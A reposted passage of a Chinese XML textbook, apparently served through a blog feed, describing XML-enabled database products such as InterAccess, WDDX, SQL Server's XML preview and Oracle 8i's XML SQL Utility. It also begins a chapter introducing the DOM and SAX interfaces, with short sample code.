<P align=left>InterAccess 还提供了一个专用浏览器，通过它，用户可以察看数据库表的内容或者执行SQL语句，最终结果可以保存或者拷贝/粘贴至其他应用程序，如Microsoft Excel 或Access。 </P>
<P align=left>下面给出的例子展示了如何通过调用InterAccess提供的COM组件开发基于XML的数据库应用。该例子通过一个数据源连接、登陆远程主机，向数据库发出SQL查询命令，最后打印返回的数据集。从形式上看，同ADO极为相似。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">Private Sub btnCommand_Click()<BR>&nbsp; ’定义出错处理<BR>&nbsp; On Error GoTo Error 
<P>&nbsp; ’定义变量<BR>&nbsp; Dim cnn As New XMLDB.Connection<BR>&nbsp; Dim strSQL As String<BR>&nbsp; Dim ds As XMLDB.IDataset<BR>&nbsp; Dim col As XMLDB.IColumn</P>
<P>&nbsp; ’连接并登陆数据库<BR>&nbsp; cnn.Connect "iaccess.xmlsoft.com.au", 7777<BR>&nbsp; cnn.Login "TRIAL", "", ""</P>
<P>&nbsp; ’执行SQL查询命令<BR>&nbsp; strSQL = "SELECT * FROM clientList WHERE ID like ’B%’"<BR>&nbsp; cnn.Execute strSQL, E_CMD_TEXT, 0, 30<BR>&nbsp; If cnn.Reply.Result &lt;&gt; 0 Then<BR>&nbsp;&nbsp;&nbsp; DisplayErrors cnn.Reply<BR>&nbsp;&nbsp;&nbsp; Exit Sub<BR>&nbsp; End If</P>
<P>&nbsp; ’处理数据库返回结果<BR>&nbsp; Set ds = cnn.Reply.Dataset<BR>&nbsp; While ds.EOD &lt;&gt; True<BR>&nbsp;&nbsp;&nbsp; For Each col In ds.Columns<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Debug.Print col.Value<BR>&nbsp;&nbsp;&nbsp; Next<BR>&nbsp;&nbsp;&nbsp; ds.MoveNext<BR>&nbsp; Wend<BR>Exit Sub </P>
<P>Error:<BR>&nbsp; MsgBox Err.Description<BR>End Sub</P>
<P>’显示错误信息<BR>Private Sub DisplayErrors(Reply As XMLDB.IReply)<BR>&nbsp; Dim Error As XMLDB.IError<BR>&nbsp; For Each Error In Reply.Errors<BR>&nbsp;&nbsp;&nbsp; Debug.Print Error.Description<BR>&nbsp; Next<BR>End Sub</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P align=left>相关网址：<A href="http://www.xmlsoft.com.au/iaccess.html">http://www.xmlsoft.com.au/iaccess.html</A><BR></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.3.8 XML Servlet软件包</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P align=left>XML Servlet是由Cerium Component Software Incorporated 开发的一组商业软件，它可以通过JDBC访问关系数据库在应用系统和数据库之间进行基于XML的双向数据交换。下图展示了XML Servlet的体系结构。</P>
<P align=center><IMG height=198 alt="TU000000-0902-0800-01.gif (2910 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX27.7718/www.17t8.com/xmlbook/image/TU000000-0902-0800-01.gif" width=363></P>
<P align=left>XML Servlet 实际上是一种Java Servlet，它使用XML指令将XML模板、HTML模板同数据库相结合，利用XML Servlet显示和更新数据库中的数据。XML Servlet的开发模式沿袭了三层架构模式，通过将XML Servlet放置于中间层的Web服务器，使得XML的应用开发相对独立于前端的用户界面（浏览器）和后端的数据库设计，进一步提高了开发效率。 </P>
<P align=left>XML Servlet 不是孤立的软件，与之相配套的还有两个工具软件：XMLOutline和XMLDB。XMLOutline采用层次化大纲形式的文本编辑器，利用它可以创建DTD和XML文档。XMLDB可以动态地将DTD和XML文档相结合，进而产生用于将XML文档数据存储与数据库中所需的SQL语句，包括可能的主键和外键。<BR><BR>相关网址：<A href="http://ceriumworks.com/">http://ceriumworks.com/</A><BR></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.3.9 WDDX Web分布式数据交换</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>WDDX，英文全称为Web Distributed Data Exchange，译为中文则是Web分布式数据交换。WDDX是一种基于XML的技术，有了它即使是再复杂的数据也都可以在Web应用程序间相互交换，进而构建所谓的"Web网络联盟"。所谓“Web网络联盟”是基于这样一种概念，也就是说，它描述了一种业务运作方式和操作环境。在这种环境下，一个Web站点团体的内容和商业资产可以被作为一种服务和数据提供给其他Web 站点，并允许这些站点同其他站点结盟。从这种意义上讲，Web网络联盟则是集成了内容和事务以产生更高整体价值的Web站点网络。现在已经有一些典型的Web网络联盟，比如象 Amazon.com的加盟计划，Web诚意计划，以及后台支付处理（如Cybercash）。 WDDX对Web网络联盟的支持是通过在Web系统之间提供一种简单而又透明的粘合剂以传输数据来完成的。利用WDDX，一个采用Perl构建的动态Web站点可以非常方便地同基于其他平台的Web 系统交换数据库数据甚至数据库事务和过程，而不论这种异构系统采用的是ASP还是ColdFusion；反之亦然。</P>
<P>Allaire 发布WDDX的目的是用来解决在Web应用间传输关键数据。需要特别指出的是，最初，Simeon Simeonov-Allaire的语言技术设计师创造了WDDX，用以解决在ColdFusion中遇到的分布计算问题。后来，这项工作进一步发展，演变成为一种跨语言的框架结构，并且最终导致了WDDX SDK和WDDX.org的诞生。WDDX SDK是由一位独立Web开发者-Nate Weiss开发成功的，当然其成功是同Allaire以及其他一些第三方的大力支持分不开的。 </P>
<P>讲到这里，也许你要问：WDDX是一种标准吗？它是否被W3C或者其他标准组织采纳？需要指出，WDDX并不是一种正式的标准，并且尚未提交给W3C或其他标准组织。但这并不是说，WDDX没有利用价值。相反，它具有相当光明的前景。第一，它是一种免费软件，可以被自由地使用和发布；第二，它是根据开放、基于标准的技术，如XML 1.0，来制定的；第三，WDDX是技术与智慧的结晶，对于分布式Web应用具有巨大的推动作用。那么，WDDX究竟有哪些具体的优点呢？ 
<OL>
<LI>WDDX可以给Web开发者带来好处。它解决了在不同Web应用环境(如JavaScript、 ColdFusion、 Perl、 ASP/COM和Java）之间交换数据中的关键问题，不同的应用可以通过WDDX方便地进行跨语言、跨系统、跨平台的复杂数据共享。开发者能够更加方便地构建系统用于在浏览器和服务器或者不同的应用服务器间交换数据，集中精力处理应用规则和算法，而不必关心不同应用的语言环境。 
<LI>WDDX可以使利用Web进行通讯和电子商务的公司受益。WDDX给他们带来的首要好处在于能够产生新的商业和客户关系。比如说，Web零售商可以方便地将他们的产品通过其他站点发布到客户手中，然后再将他们产品的销售和市场运作转至那些更加易于直接同客户打交道的Web转售商网络。举例来说，某个大型厨具零售商希望利用WDDX将产品发布到其他站点，另外一个站点可以通过他们的站点来提供原始零售商的产品--厨具。不过，实际的商业交易还是在原始零售商的Web站点来管理和运作的。对于客户来说，他们将从特定的商品供应和惬意的购物经历中获取满意的商品；对于中间站点来讲，他们可以通过提供自己并未直接供应的产品和服务来受益；而零售商则可以通过利用网络联盟发布产品来接触更多的客户。同样，类似的模型也可以适用于传统的供应链业务和企业对企业外部网，因为在这些应用中，企业也是需要将其销售、产品等信息发布到供货商或者合作伙伴。 </LI></OL>
<P>WDDX由两大部分组成，第一部分是根据XML 1.0 DTD规范制定的一种语言独立的数据描述，第二大部分是为那些使用WDDX的语言而制定的一组模块。熟悉Web应用的人都知道，目前Web领域几乎所有的标准的开发环境（如ColdFusion，Perl，ASP，Java，JavaScript，PHP，etc）都包含内在数据结构，比如数组(array)、 纪录集(record sets)和数据对（value pairs）。 WDDX为每一种语言提供了一个模块，可以自动地将这些内在数据结构加以序列化或者翻译成一种精炼的基于XML的描述；反之亦然。举个典型例子，利用WDDX程序员可以在ColdFusion中获取一个复杂数组的值，将其序列化成为XML，然后将其发送给ASP服务器，最后再通过反序列化将XML转换成一个VBScript的数组对象，而原先的所有数据类型都被无损转换。这样一来，通过将所有的XML处理和交互过程转移至WDDX模块中，开发者就不必再对XML文档本身进行编程和处理，从而使得这种语言之间的转换过程对于开发者相对更加透明。 </P>
<P>WDDX的开发需要借助WDDX SDK。WDDX SDK是一个软件开发包，它允许Web应用开发者使用WDDX开发分布式Web应用和Web网络联盟。WDDX SDK同时也是一种自由软件，它在<A href="http://www.wddx.org/">http://www.wddx.org/</A>网站发布。 WDDX并不需要开发者事先了解如何使用XML。WDDX的一个重要优点就是开发者可以在Web上任意交换结构化数据而不必直接编写XML，从这个意义上讲，WDDX是一种"XML中间件"，编程语言是将其做为一种在数据间交换的传送工具来使用。目前WDDX SDK包含了一些模块，用以提供对多语言的支持。WDDX同时也适用于非Web应用或Windows应用。将WDDX同COM相结合，开发者可以使用任何流行的Windows应用开发环境，包括Visual Basic、Delphi、PowerBuilder、C++和Java，进行分布式数据访问和数据存储。</P>
<P>在数据传输方面，WDDX广泛支持基于原文数据传输的协议，如HTTP、SMTP、POP、FTP等等。由于WDDX是建立在XML和HTTP的核心之上，因此也就相应继承了Web环境的安全性模型。WDDX数据包可以在具有SSL的HTTP上安全传送，并且由于WDDX数据包仅仅是一些数据串，因此，开发者可以非常方便地利用加密技术对其进行加密和解密。开发者构建能够远程访问需要授权的WDDX数据的分布式应用时，将需要利用Web服务器或应用服务器内在的验证机制以及面向用户的安全服务。 </P>
<P>一般来说，任何需要通过Web同其他应用共享数据的应用都可以利用WDDX来构建。比较典型的应用是Web网络联盟和企业对企业内部网和外部网应用，因为在这些应用中企业都需要发布数据，如产品信息、供应链数据、客户数据、订单数据等等。由于WDDX是语言独立并且是通过HTTP传送，因此开发者可以利用ColdFusion或者ASP构建应用，并且发布数据到支持WDDX的过程应用中，再由这些过程应用使用Perl，ColdFusion，ASP或者其他支持WDDX的语言来访问数据。这样一来，就消除了在使用不同语言环境的合作伙伴间共享数据所造成的开销和复杂度。除此之外，连接传统Windows桌面系统和Web系统的应用也可以利用WDDX来构建，这对于那些涉及重要的、离线数据输入与收集的应用很有用。</P>
<P>最后，我们将WDDX同其他相关技术作一个简单的比较。</P>
<P>首先来看一下WDDX同标准的XML数据存取的区别。标准的XML数据存取利用DOM API访问和管理XML文档，而在DOM开发模型中，开发者可以通过编程对任意的XML文档结构进行存取。利用WDDX，开发者不会直接操作XML数据，而是借助特定的语言模块对从其他语言转换来的数据进行存取。通常情况下，基于DOM的XML数据存取同基于WDDX的数据交换具有不同的适用范畴。 </P>
<P>关于WDDX同Vignette的ICE的比较。ICE是一种由Vignette开发和赞助的技术，主要用于在Web上进行Web内容联盟。ICE 是以事先预定好的并且互相信任的前提为基础，在有内容交易的合作伙伴间构造起一种特定的应用用以共享内容。ICE不适用于做为一种跨语言的通用协议，而WDDX 本身也不能象ICE那样做为一种结盟应用。但是，通过定制的Web应用却可以利用WDDX同其他Web应用共享数据，进而构建Web结盟网络。 </P>
<P>我们再来看一下WDDX同WebMethods的WIDL的比较。Web接口定义语言(WIDL)是WebMethods制定的一种基于XML技术，用于描述一种同现有的文档（如HTML或XML文档）的编程接口。WIDL本身并不是一种在编程语言间交换数据的技术，相反，WDDX却可以在编程语言间实时地交换数据，虽然不会从现有的Web内容中提取数据。 <BR>下面是WDDX同XML-RPC机制的比较。RPC的意思是远程过程调用，它是一种用于分布式对象系统如DCOM和CORBA的机制，而XML-RPC机制，如DataChannel的WebBroker，致力于利用XML和HTTP以提供一个完全分布式的对象协议。介于二者之间，WDDX则是用于为Web编程语言提供一个简单的、轻型的数据交换机制。</P>
<P>WDDX技术相关的网址是：<A href="http://www.wddx.org/">http://www.wddx.org/</A><BR></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.4.1.1 MS SQL Server</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>开发基于XML的动态应用，如动态信息发布、动态数据交换等，前提是必须有数据库的支持。在这一方面，Oracle和Microsoft走在其他厂商的前面，Oracle做为全球第一大数据库及数据库应用解决方案提供厂商，早在1999年就率先推出支持XML的数据库产品——Oracle 8i。在这一章，我们来简要地介绍一些对XML提供支持的数据库。<BR><BR>就在XML技术在全球日益盛行的时候，Microsoft于2000年1月宣布其SQL Server对XML提供支持，并且发布了一个预览版本。由此可以看出Microsoft在其战略决策上将XML技术放在一个何等重要的地位，而这一消息的发布无疑将给广大的XML技术人员和SQL Server用户带来了强劲动力。</P>
<P>Microsoft SQL Server的XML支持计划，是其下一步庞大计划的一部分，即旨在产生一组功能强大的产品和服务来实现所谓的BizTalk框架。BizTalk是Microsoft现有的、帮助商务公司实现应用软件一体化的分布式互连网应用DNA (Windows Distributed interNet Applications )体系结构的延伸和扩展。以后的Microsoft产品和工具本身都将包含对BizTalk服务体系结构的支持。Microsoft Commerce Platform、Office、BackOffice 以及Windows 都将利用BizTalk XML Schema来保存文档的额外信息，并且用它来实现BackOffice和基于Windows应用软件的一体化集成。Microsoft产品套件、Microsoft Office 2000发行的下一个主要版本都打算将HTML提升成为一种内置支持的文件格式，并且使用XML来存储额外的文档信息。Microsoft SQL Server正是其实现这一目的的底层数据管理的有力工具。</P>
<P>在此之前，Microsoft就一直致力于将XML技术同其数据库旗舰产品SQL Server相集成，以帮助建立下一代的高效的基于Web的企业应用。Microsoft宣称，其下一版本SQL Server，即代号为Shiloh，将是一个完全支持XML的产品，利用该产品，用户可以在Web浏览器下输入一个URL地址，即可访问SQL Server数据库，而返回的结果可以是一个XML文档。另外，它还允许通过输入样式参数，指定样式信息，以便在浏览器中输出丰富的页面。例如，一个典型的URL如下所述：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">href=http://localhost/Northwind?sql=select+name,id, company,email +from+clientList+for+xml+auto</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>XML SQL技术预览提供了以下几种XML访问功能： 
<UL>
<LI>利用HTTP协议以URL的方式访问SQL Server数据库。<BR>这是最基本的访问方式。另外，通过指定样式模板参数，可以返回具有一定样式信息的数据。该样式模板是一个包含一条或多条SQL 语句的合法的XML文档。返回的XML文档可以通过指定的XML模式来定义，三种模式为：RAW、AUTO、EXPLICIT。 
<LI>利用在SELECT语句中附加FOR XML返回XML格式数据。<BR>作为对XML模式的一种补充，通过在FOR XML中指定DTD或XML schema来达到对返回XML文档的格式化。 
<LI>利用基于XML的UPDATE语句来更新数据库中的记录。<BR>SQL Server支持基于XML的插入、删除、修改等数据库更新操作。通用的更新语法是： </LI></UL>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;sql:sync xmlns:sql="urn:schemas-microsoft-com:xml-sql"&gt; <BR>&nbsp;&nbsp; &lt;!-- 用于删除和修改操作中 --&gt;&nbsp; <BR>&nbsp; &lt;sql:before&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;TABLENAME&nbsp; &lt;!-- 数据表名 --&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [sql:id="value"]&nbsp; &lt;!-- 仅用于修改操作中 --&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; col="value"col="value"…<BR>&nbsp;&nbsp;&nbsp; /&gt;&nbsp;&nbsp; <BR>&nbsp; &lt;/sql:before&gt;<BR>&nbsp;&nbsp; &lt;!-- 用于插入和修改操作中 --&gt;&nbsp; <BR>&nbsp; &lt;sql:after&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;TABLENAME&nbsp; &lt;!-- 数据表名 --&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [sql:id="value"]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [sql:at-identity="value"]&nbsp; &lt;!-- 仅用于插入操作中 --&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; col="value" col="value"…<BR>&nbsp;&nbsp;&nbsp; /&gt;<BR>&nbsp; &lt;/sql:after&gt;<BR>&lt;/sql:sync&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<UL>
<LI>利用对象模型在Script脚本程序中实现同样的功能。<BR>XML SQL技术预览提供的osqlxml.dll允许利用对象模型在Script脚本程序中实现基于XML的数据库操作。下面是一个ASP示例： </LI></UL>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;%@ LANGUAGE = VBScript %&gt;<BR>&lt;% Response.ContentType = "text/xml" %&gt;<BR>&lt;%<BR>&nbsp; SET oSQLXML = CreateObject("Microsoft.SQLXMLRequest")<BR>&nbsp; oSQLXML.Connection = "<BR>&nbsp;&nbsp;&nbsp; Driver=SQL Server;<BR>&nbsp;&nbsp;&nbsp; Server=FRANKMAN-CAVE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Database=Northwind;<BR>&nbsp;&nbsp;&nbsp;&nbsp;uid=sa;pwd=<BR>&nbsp; "<BR>&nbsp; oSQLXML.ExecuteQuery("Select * from customers for XML AUTO")<BR>&nbsp; Response.BinaryWrite oSQLXML.ResultAsBinary <BR>%&gt; </TD></TR></TBODY></TABLE></CENTER></DIV>
<P>XML SQL 技术预览展示了Microsoft在XML技术应用上的实力，通过将XML同数据库相结合实现了强大的功能。但是，由于该技术目前只是一个预览版本，其本身还会不断发展，相信在正式发布时将会有所改进。</P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.4.1.2 Oracle 8I</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>Oracle公司在其最新的Oracle 8i数据库产品中提供了对XML的支持，使其成为开发基于XML的Internet应用的系统平台。作为Oracle 8i数据库的一个主要组成部分，Java版本的XML SQL实用工具在Oracle公司的XML战略计划中扮演着重要角色。该工具包包含了一组Java类，可完成下述两大功能： 
<UL>
<LI>向数据库发送查询语句，然后从返回的结果中输出XML文档（文本或DOM节点树）。 
<LI>将XML数据保存至数据库。 </LI></UL>
<P>这两大功能可以说是SQL 数据库支持XML的最基本要求，却足以体现当今XML技术发展的潮流。微软宣称在其下一代数据库产品Microsoft SQL Server "Shiloh"中也提供类似的支持，但其正式版本尚未发布。因此，无形之中，Oracle占据了良好的先机。</P>
<P>Oracle Java版本的XML SQL 实用工具具有下列特性： 
<UL>
<LI>能够从SQL查询中产生XML文档。 
<LI>能够从SQL查询语句或JDBC ResultSet对象中输出文本或文档对象模型节点树（DOM）。 
<LI>能够将XML文档数据写入数据库表或视图中。 
<LI>支持W3C的XML 1.0推荐标准。 
<LI>可以通过扩展进而支持SAX 1.0 文档访问。 
<LI>支持基于下列字符集的文档： UTF-8、UTF-16、ISO-10646-UCS-2、ISO-10646-UCS-4、EUC-KR、US-ASCII 、EBCDIC-CP-*、ISO-8859-1to -9、BIG 、GB2312 、EUC-JP 、KOI8-R 、ISO-2022-JP 、 ISO-2022-KR 、Shift_JIS </LI></UL>
<P>XML SQL 实用工具输出的XML文档实际上根据数据库表内在结构动态确定。比如，将ROWSET做为返回结果集的根元素，每行数据将ROW做为元素标记，而每个字段名称都将做为ROW元素下的子元素。下面给出一个典型示例：</P>
<P>假定查询语句为：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">SELECT Name, ID, Company, Email FROM clientList</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>则可能返回如下的XML文档：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;? xml version = "1.0" encoding="GB2312" ?&gt;<BR>&lt;ROWSET&gt;<BR>&nbsp; &lt;ROW id="1"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;Name&gt;张三&lt;/Name&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;ID&gt;1&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;Company&gt;A公司&lt;/Company&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;Email&gt;zhang@aaa.com&lt;/Email&gt;<BR>&nbsp; &lt;/ROW&gt; 
<P>&nbsp; &lt;ROW id="2"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;Name&gt;李四&lt;/Name&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;ID&gt;2&lt;/ID&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;Company&gt;B公司&lt;/Company&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;Email&gt;li@bbb.org&lt;/Email&gt;<BR>&nbsp; &lt;/ROW&gt;<BR>&lt;/ROWSET&gt;</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>XSQL Servlet是Oralce XML开发工具包的重要组成部分，它实际上是一种Java的服务器端小程序，利用Java版本的XML SQL 实用工具将关系数据库中数据转换为XML文档。XSQL Servlet属于模板驱动类型，应用时需要将SELECT查询语句作为&lt;query&gt;元素嵌入到模板中，当查询处理完成后，这些内嵌的元素将会被返回的结果所替换，最终输出成为一个XML文档。另外，它还支持通过HTTP传送查询参数以及利用XSL将输出结果样式化，通过XML、SQL、XSL三者的结合从而产生动态的Web页面。 <BR><BR>相关网址：<A href="http://technet.oracle.com/tech/xml">http://technet.oracle.com/tech/xml</A><BR><BR></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.4.1.3 Informix</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>随着XML逐渐受到越来越多的重视，Informix公司也发布了其XML策略：快速、简便地构造高性能、可缩放、基于XML数据驱动的Internet应用，支持和加速开放标准。</P>
<P>首先，Informix公司在其数据库产品Informix中加入XML支持。作为Informix Internet Foundation 2000的一部分的Informix Web DataBlade模块，可以通过一个简单的SQL接口产生动态的XML数据和文档。</P>
<P>另外，Informix还开发了一种称作XML Mapper的应用，它使得开发者可以在Informix数据库中存储和检索XML数据。利用一组SQL表格和一个XML文档模板，XML Mapper能够自动生成文档对象代码。例如，假定有两个数据表（作者和图书）以及一个包含作者信息的XML模板，那么，就可以产生一个内置存储和检索XML功能的Java类。一般情况下，在该Java代码中会有两个关键的方法实现：getXML和setXML。在前面我们所做的假定条件下，getXML方法可以返回一个包含作者数据的字符串，而setXML则可借助XML模板进行数据库中数据的插入和修改。Informix XML Mapper 还可以生成一个servlet，它能够从数据库中取得数据，然后在Web浏览器中显示。<BR><BR>相关网址：<A href="http://www.informix.com/xml/">http://www.informix.com/xml/</A><BR><BR></P></DIV>
<P></P>
<P></P>
<DIV class=pt10><B>9.4.2.1 Xhive</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>XHive是由The Connection Factory 开发的XML数据库产品，该数据库是建立在一种面向对象数据库管理系统Objectivity基础之上的。它提供了对事务、缓存、会话池、安全性以及数据和文档的版本控制等机制的支持，另外，还支持XML DOM、XPath、XPointer和XLink的实现。Xhive能够访问JDBC数据库中的数据，除此之外，它还内置了一系列工具用于编辑、管理、装载数据和构造查询语句。尽管Xhive可以用作XML数据库，但是它更多地将被作为下一代文档存储应用的存储引擎。<BR><BR>相关网址：<A href="http://www.xhive.com/">http://www.xhive.com/</A><BR></P></DIV>
<DIV class=pt10><B>9.4.2.2 XML Repository</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>XML Repository是由ozone-db.org开发的一种带有公开源代码性质的XML数据库，该数据库建立在ozone面向对象数据库和MonsterDOM技术的基础之上。对于一组给定的文档，用户可以指定其中每一个文档在分层结构中的位置，就象它们存储于文件系统之中一样。文档之间是相互独立的，但是可以通过其存储路径来访问。尽管每个文档在数据库中仅仅存储一次，但是通过一种类似于UNIX文件系统中符号连接的机制，使得它们可以在分层结构中的不同位置出现。XML Repository的这种机制使得数据库中的文档可以运用XPath来进行查询和定位，进一步扩展了XML文档。</P>
<P>相关网址：<A href="http://www.ozone-db.org/xml-repository/xml-repository_contents.html">http://www.ozone-db.org/xml-repository/xml-repository_contents.html</A><BR></P></DIV>
<DIV class=pt10><B>9.4.2.3 eXcelon</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>eXcelon公司是总部设在美国Burlington, MA的一家公司，原名Object Design。该公司专门为那些通过Internet进行动态B2B电子商务交易的公司提供相关产品和服务。 eXcelon公司的动态B2B解决方案号称是完全基于标准的，它通过将XML应用于其产品之中，可以帮助客户建立高效的运行环境，从而为选用该方案从事Internet上交易的公司消除了技术上的壁垒。而eXcelon则是eXcelon公司推出的一个XML应用开发环境和发布平台，主要用于开发电子商务应用。<BR><BR>eXcelon框架结构包括：eXcelon工具箱、eXcelon数据服务器、eXcelon Xconnects。</P>
<P align=center><IMG height=376 alt="TU000000-0904-0203-01.gif (67122 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX28.7250/www.17t8.com/xmlbook/image/TU000000-0904-0203-01.gif" width=500></P>
<OL>
<LI>
<P align=left><STRONG>eXcelon工具箱</STRONG>：开发基于XML电子商务应用的集成工具包，简单易用，可以开发数据驱动的Web页面和XML应用。其中又包含了四个工具：</P>
<UL>
<LI>
<P align=left>eXcelon Studio能够可视化地定义XML Schema、生成HTML Form、数据驱动的Web页面、XSL 样式单以及eXcelon服务器扩展。</P></LI></UL>
<P align=center><IMG height=339 alt="TU000000-0904-0203-02.gif (20165 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX28.7250/www.17t8.com/xmlbook/image/TU000000-0904-0203-02.gif" width=520></P>
<UL>
<LI>
<P align=left>eXcelon Explorer可以用于存储、查询、组织、更新(包括增加、删除、修改)XML数据。</P></LI></UL>
<P align=center></P></LI></OL></DIV></DIV>]]></description>
</item><item>
<title><![CDATA[XML(45)合并（接口）]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10858</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 12:59:33</pubDate>
<description><![CDATA[
<DIV class=pt10><B>8.1.1 接口的由来</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>到目前为止，我们都是在孤立地讲XML、讨论和XML相关的协议和工具，教会大家如何直接写一个XML文件，如何利用浏览器分析它浏览它。但实际上，同HTML一样，XML有时是动态生成的，需要我们编写一段代码一个脚本，作为一个“局外人”间接地去创建、访问和操作一个XML文件。还有些时候，我们所开发的应用程序需要能够读懂别人写的XML文件，从中提取我们所需要的信息。在以上这些情况下，我们都需要一个XML接口，这个接口是善意友好的，我们以它为媒，将我们的应用程序与XML文档结合在一起。在这一章里，我们就来介绍由W3C和XML_DEV邮件列表成员分别提出的两个标准应用程序接口：DOM和SAX。</P>
<P>实际上，XML文档就是一个文本文件，因此在我们需要访问文档中的内容时，必须首先书写一个能够识别XML文档信息的文本文件阅读器，也就是我们通常所说的XML语法分析器，由它来帮助我们解释XML文档并提取其中的内容。这就要求每个应用XML的人都要自己去处理XML的语法细节，显然是一项非常耗时的工作。更糟糕的是，如果需要在不同的应用程序或开发环境中访问XML文档中的数据，这样的分析器代码就要被重写多次。</P>
<P>或许您会觉得这难不倒您：把XML分析器做成一个DLL不就可以解决代码重写的问题了吗？回答当然是肯定的。不过，每一个XML分析器的DLL必然有自己的接口，我们正是通过这个接口来访问并处理XML文档中的数据的。但如果各种分析器的接口都不相同，那么我们的开发就必须是针对某一个XML分析器的，要是想换用另外一个分析器，那么非常抱歉，程序不得不重新改写。因此，有了DLL有了接口还远远不够，我们还需要一个善意友好的接口，也就是一个统一的接口。要真正实现代码的重用，就必须解决DLL的接口标准问题。</P>
<P>我们知道，数据库有标准的ODBC/JDBC这样的接口规范。在它的帮助下，我们编写数据库应用程序的时候只要针对于接口即可，可以不管后台的数据库系统究竟是ORACLE还是SYBASE，是DB2还是SQL Server，这给应用程序的开发带来了很大的便利。同样的道理，在我们做XML的应用开发时，一个统一的XML数据接口也是必需的。</P>
<P>W3C意识到了上述问题的存在，于是制定了一套书写XML分析器的标准接口规范--DOM。除此之外，XML_DEV邮件列表中的成员根据应用的需求也自发地定义了一套对XML文档进行操作的接口规范--SAX。这两种接口规范各有侧重，互有长短，应用都比较广泛。</P>
<P>下面，我们给出DOM和SAX在应用程序开发过程中所处地位的示意图。从图中可以看出，应用程序不是直接对XML文档进行操作的，而是首先由XML分析器对XML文档进行分析，然后，应用程序通过XML分析器所提供的DOM接口或SAX接口对分析结果进行操作，从而间接地实现了对XML文档的访问。</P>
<P align=center><IMG height=106 alt="TU000000-0801-0100-01.gif (6677 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX23.9515/www.17t8.com/xmlbook/image/TU000000-0801-0100-01.gif" width=300><BR></P></DIV>
<P></P>
<DIV class=pt10><B>8.1.2 DOM与SAX并存</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>如前所述，之所以要制定一个接口标准，是为了给XML应用程序的开发带来方便，使得应用程序可以根据需要随时选择、更换合适的分析器，同时又无须对程序本身再做大的改动。那么读者可能会问，既然接口需要统一，为什么现在还有两个接口标准共存呢？这两个标准之间又存在什么关系呢？</P>
<P>事实上，DOM和SAX两个接口标准之所以能够并存，就是因为它们所要实现的目标不同。DOM和SAX分析器在接口实现过程中分别侧重于不同的方面，二者各有长短，分别满足了不同的应用需求。在进行横向比较之前，我们先来分别简要介绍一下这两个标准。</P>
<P><STRONG>DOM</STRONG></P>
